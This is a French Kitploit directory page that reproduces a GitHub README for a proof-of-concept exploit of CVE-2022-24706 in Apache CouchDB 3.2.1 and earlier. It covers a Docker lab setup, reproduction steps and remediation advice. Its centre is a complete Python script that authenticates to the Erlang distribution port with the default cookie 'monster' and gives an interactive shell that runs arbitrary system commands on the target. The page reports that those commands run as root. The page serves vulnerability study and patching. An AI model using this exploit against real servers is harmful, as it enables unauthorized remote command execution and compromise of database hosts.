Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-24706 — Exploit de preuve de concept pour CVE-2022-24706 ciblant Apache CouchDB 3.2.1 et versions antérieures. Démontre l'exécution de commandes à distance via le protocole de distribution Erlang en utilisant l'authentification par cookie par défaut. | Kitploit
Outils/GitHubGitHub/junghyeonkum/cve-2022-24706
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceSécurité des Bases de Données
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Exploit de preuve de concept pour CVE-2022-24706 ciblant Apache CouchDB 3.2.1 et versions antérieures. Démontre l'exécution de commandes à distance via le protocole de distribution Erlang en utilisant l'authentification par cookie par défaut.

Voir le dépôt
6il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-24706

Contributeurs

  • 39e promotion de l'école WhiteHat, classe 39 Kim Jeonghyeon(@junghyeonkum)

Vulnérabilité d'exécution de commande à distance via la distribution Erlang de CouchDB (CVE-2022-24706)

Résumé

Apache CouchDB est une base de données NoSQL orientée document open source implémentée en Erlang.

Étant développé en Erlang, Apache CouchDB prend en charge nativement les fonctionnalités de calcul distribué (clustering). Les nœuds du cluster communiquent entre eux via le protocole de distribution Erlang/OTP, lequel permet d'exécuter des commandes du système d'exploitation avec les privilèges de l'utilisateur qui exécute CouchDB.

Pour exécuter des commandes système, il est nécessaire de connaître la chaîne d'authentification (secret phrase) appelée Cookie dans Erlang. Dans les versions de CouchDB 3.2.1 et antérieures, la valeur par défaut du Cookie lors de l'installation est monster. Un attaquant qui connaît cette valeur peut contourner l'authentification et exécuter des commandes système à distance.

Références :

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit
  • Prérequis

    Pour réaliser cet exercice, vous avez besoin de l'environnement suivant :

    • Docker et Docker Compose doivent être installés.
    • Python 3 doit être installé pour exécuter le PoC.

    Sous macOS avec puce Apple Silicon (M1/M2/M3), des avertissements concernant la plateforme des images peuvent apparaître. Dans la plupart des cas, Docker Desktop émule automatiquement les images amd64 et les exécute, donc aucune mesure supplémentaire n'est nécessaire. Si le conteneur ne démarre pas correctement, vous pouvez ajouter l'option platform: linux/amd64 au service couchdb dans le fichier docker-compose.yml.

    Si Python 3 n'est pas installé, vous pouvez l'installer avec les commandes suivantes :

    root@kitploit:~
    sudo apt update
    sudo apt install -y python3
    

    Configuration de l'environnement

    Exécutez la commande suivante pour lancer l'environnement Apache CouchDB 3.2.1 :

    root@kitploit:~
    docker compose up -d
    

    Une fois le service en cours d'exécution, les trois ports suivants seront ouverts sur l'IP cible :

    • 5984 : interface web d'Apache CouchDB
    • 4369 : Erlang Port Mapper Daemon (EPMD)
    • 9100 : port de communication du cluster et de gestion d'exécution (les commandes sont exécutées via ce port)

    Dans un environnement réel, le port de l'interface web (5984) et celui du service EPMD (4369) sont fixes, mais le port de communication du cluster peut changer à chaque exécution. Par conséquent, vous pouvez accéder au service EPMD pour connaître le numéro de port de communication du cluster actuellement utilisé.

    Si Apache CouchDB fonctionne correctement, les informations de version sont disponibles à l'adresse http://target-ip:5984.

    Condition de vulnérabilité

    Cette vulnérabilité se produit lorsque les conditions suivantes sont remplies :

    • Apache CouchDB version 3.2.1 ou antérieure est en cours d'exécution.
    • La fonctionnalité de distribution Erlang est activée.
    • Le Cookie Erlang est défini sur la valeur par défaut (monster).
    • Le service de distribution Erlang (EPMD) est accessible.

    Procédure de reproduction

    1. Exécutez la commande suivante pour lancer l'environnement vulnérable d'Apache CouchDB :
    root@kitploit:~
    docker compose up -d
    
    1. Une fois le service EPMD (4369) en cours d'exécution, lancez le PoC avec la commande suivante :
    root@kitploit:~
    python3 poc.py target-ip 4369
    
    1. Le PoC interroge le service EPMD pour obtenir le numéro de port de communication du cluster actuellement utilisé, puis s'authentifie via le protocole de distribution Erlang avec le Cookie par défaut (monster).

    2. Une fois l'authentification réussie, vous pouvez saisir n'importe quelle commande système pour vérifier l'exécution de commande à distance.

    Code du PoC

    root@kitploit:~
    #!/usr/local/bin/python3
    
    # Bibliothèque standard Python
    import socket
    from hashlib import md5
    import struct
    import sys
    import re
    import time
    
    # Serveur cible et configuration de base
    TARGET = sys.argv[1]
    EPMD_PORT = int(sys.argv[2]) # Port EPMD par défaut
    COOKIE = "monster" # Cookie Erlang par défaut de CouchDB
    ERLNAG_PORT = 0
    EPM_NAME_CMD = b"\x00\x01\x6e" # Paquet de demande de liste des nœuds Erlang
    
    # Messages d'authentification et de contrôle Erlang
    NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
    CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
    CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
    CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
    
    # Convertit la commande saisie par l'utilisateur en paquet RPC Erlang
    def compile_cmd(CMD):
        MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
        MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
        MSG += struct.pack(">H", len(CMD))
        MSG += bytes(CMD, 'ascii')
        MSG += b'jw\x04user'
        PAYLOAD = b'\x70' + CTRL_DATA + MSG
        PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
        return PAYLOAD
    
    print("Exécution de commande à distance via le protocole de distribution Erlang.\n")
    
    # Connexion au serveur EPMD pour obtenir les informations du nœud Erlang
    try:
        epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        epm_socket.connect((TARGET, EPMD_PORT))
    except socket.error as msg:
        print("Impossible de se connecter à EPMD : %s\n fin du programme" % msg)
        sys.exit(1)
    
    # Demande de la liste des nœuds Erlang
    epm_socket.send(EPM_NAME_CMD)
    
    # Si la réponse est correcte, récupère les informations du nœud
    if epm_socket.recv(4) == b'\x00\x00\x11\x11':
        data = epm_socket.recv(1024)
        data = data[0:len(data) - 1].decode('ascii')
        data = data.split("\n")
        if len(data) == 1:
            choix = 1
            print("Nœud trouvé : " + data[0])
        else:
            print("\nPlusieurs nœuds trouvés, choisissez lequel utiliser :")
            numero_ligne = 0
            for ligne in data:
                numero_ligne += 1
                print(" %d) %s" %(numero_ligne, ligne))
            choix = int(input("\n> "))
    
        ERLNAG_PORT = int(re.search(r"\d+$",data[choix - 1])[0])
    else:
        print("Erreur lors de la demande de liste des nœuds, arrêt")
        sys.exit(1)
    epm_socket.close()
    
    # Connexion au nœud Erlang
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET, ERLNAG_PORT))
    except socket.error as msg:
        print("Impossible de se connecter au serveur Erlang : %s\n fin du programme" % msg)
        sys.exit(1)
    
    # Réception de la valeur du challenge
    s.send(NAME_MSG)
    s.recv(5)
    challenge = s.recv(1024)
    print(challenge)
    challenge = struct.unpack(">I", challenge[9:13])[0]
    
    # Génération des informations d'authentification à l'aide de la valeur du challenge
    CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
        + bytes(str(challenge), "ascii")).digest()
    
    # Envoi de la demande d'authentification
    s.send(CHALLENGE_REPLY)
    CHALLENGE_RESPONSE = s.recv(1024)
    
    # Vérification du succès de l'authentification
    if len(CHALLENGE_RESPONSE) == 0:
        print("Échec de l'authentification, arrêt")
        sys.exit(1)
    
    print("Authentification réussie")
    print("Saisissez une commande :\n")
    
    data_size = 0
    
    # Saisie des commandes utilisateur et exécution sur le nœud CouchDB distant
    while True:
        if data_size <= 0:
            CMD = input("> ")
            if not CMD:
                continue
            elif CMD == "exit":
                sys.exit(0)
            s.send(compile_cmd(CMD))
            data_size = struct.unpack(">I", s.recv(4))[0]
            s.recv(45)
            data_size -= 45
            time.sleep(0.1)
        elif data_size < 1024:
            data = s.recv(data_size)
            time.sleep(0.1)
            print(data[3:].decode())
            data_size = 0
        else:
            data = s.recv(1024)
            time.sleep(0.1)
            print(data[4:].decode())
            data_size -= 1024
    

    Résultat d'exécution

    L'exécution du PoC montre que le port de communication du cluster est correctement identifié via le service EPMD et que le message Authentication successful confirme le succès de l'authentification via le protocole de distribution Erlang.

    Ensuite, la commande whoami est exécutée et montre que la commande s'exécute avec les privilèges root ; la commande id permet de vérifier les informations sur l'utilisateur et les groupes. De plus, la commande touch /tmp/success crée un fichier success dans le répertoire /tmp de la cible, et la commande ls /tmp confirme la création de ce fichier. Cela valide que les commandes système saisies sont bien exécutées sur la machine cible.

    Arrêt de l'environnement

    Une fois l'exercice terminé, exécutez la commande suivante pour arrêter les conteneurs Docker et le réseau :

    root@kitploit:~
    docker compose down
    

    Mesures correctives

    1. Mise à jour vers la dernière version
      Mettez à jour Apache CouchDB vers la version 3.2.2 ou supérieure pour résoudre le problème du Cookie Erlang par défaut.

    2. Changement du Cookie Erlang par défaut
      Ne pas utiliser la valeur par défaut (monster) ; remplacez-la par une valeur aléatoire difficile à deviner pour empêcher le contournement de l'authentification et l'exécution de commandes à distance.

    3. Restriction d'accès au port EPMD et au port de communication du cluster
      Appliquez des pare-feu ou des politiques de contrôle d'accès pour que seuls les hôtes de confiance puissent accéder à EPMD (4369) et au port de communication du cluster.

    4. Désactivation de la fonctionnalité de distribution Erlang si inutile
      Dans les environnements où le clustering n'est pas utilisé, désactivez la fonctionnalité de distribution Erlang ou limitez l'accès externe aux services associés afin de minimiser les risques d'attaque.

    Télécharger l’outil